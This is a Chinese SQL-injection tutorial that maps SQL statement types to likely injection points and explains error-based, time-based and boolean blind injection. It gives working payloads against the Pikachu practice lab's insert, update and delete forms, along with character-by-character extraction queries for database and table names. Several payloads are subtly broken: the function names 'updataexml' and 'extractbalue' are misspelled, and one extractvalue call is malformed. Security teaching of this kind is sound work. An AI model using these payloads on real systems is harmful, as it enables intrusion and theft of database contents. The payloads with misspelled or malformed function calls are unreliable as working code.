天天看點

WBE漏洞-SQL注入之查詢方式及報錯盲注

當進行SQL注入時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導緻,這個時候我們需要用到相關的報錯或盲注進行後續操作,同時作為手工注入時,提前了解或預知其SQL語句大概寫法也能更好地選擇對應的注入語句。

WBE漏洞-SQL注入之查詢方式及報錯盲注

涉及知識點:

select 查詢資料

在網站應用中進行資料顯示查詢效果

select * from news wher id=$id
           

insert 插入資料

在網站應用中進行使用者注冊添加等操作

insert into news(id,url,text) values(2,'x','$t')
           

delete 删除資料

背景管理裡面删除文章删除使用者等操作

delete from news where id=$id
           

update 更新資料

會員或背景中心資料同步或緩存等操作

update user set pwd='$p' where id=2 and username='admin'
           

order by 排列資料

一般結合表名或列名進行資料排序操作

select * from news order by $id
select id,name,price from news order by $order
           

重點了解:

我們可以通過以上查詢方式與網站應用的關系去猜測注入點産生地方或應用猜測到對方的SQL查詢方式。

SQL注入報錯盲注

盲注就是在注入過程中,擷取的資料不能回顯至前端頁面。此時,我們需要利用一些方法進行半段或者嘗試,這個過程稱之為盲注。我們可以知道盲注分為以下三類:

基于布爾的SQL盲注-邏輯判斷(不需要回顯資訊就能看到)(2)

regexp,like,ascii,left,ord,mid
           

基于時間的SQL盲注-延時判斷(不需要回顯資訊就能看到)(3)

if,sleep
           

基于報錯的SQL盲注-報錯回顯(優先于選擇:1)

floor

payload:

pikachu insert

username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '

&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

WBE漏洞-SQL注入之查詢方式及報錯盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注

updatexml

username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
WBE漏洞-SQL注入之查詢方式及報錯盲注

extractvalue

username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

pikachu updata

sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

pikachu delete

/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))

延遲盲注:

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
WBE漏洞-SQL注入之查詢方式及報錯盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注

判斷資料庫名

WBE漏洞-SQL注入之查詢方式及報錯盲注

判斷資料庫長度

WBE漏洞-SQL注入之查詢方式及報錯盲注

猜取資料庫第一個字元

WBE漏洞-SQL注入之查詢方式及報錯盲注
WBE漏洞-SQL注入之查詢方式及報錯盲注

limit 0,1(0,從0開始第一個。1,字元串選取的個數)

WBE漏洞-SQL注入之查詢方式及報錯盲注

布爾盲注

WBE漏洞-SQL注入之查詢方式及報錯盲注

猜取版本号

WBE漏洞-SQL注入之查詢方式及報錯盲注

猜取資料庫名

WBE漏洞-SQL注入之查詢方式及報錯盲注

排序盲注

參考:

  • like 'ro%' #判斷ro或ro...是否成立
  • regexp '^xiaodi[1-z]' #比對xiaodi及xiaodi...等
  • if(條件,5,0) #條件成立,傳回5,反之,傳回0
  • sleep(5) #SQL語句延時執行5秒
  • mid(a,b,c) #從位置b開始,截取a字元串的c位
  • substr(a,b,c) #從B位置開始,截取字元串a的c長度
  • left(database(),1),database() #left(a,b)從左側截取a的前b位
  • length(database())=8 #判斷資料庫database()名的長度
  • ord=ascii ascii(x)=97 #判斷x的ascii碼是否等于97

本文來自:https://www.yuque.com/gemaxianrenhm/hahwdw/eiux1t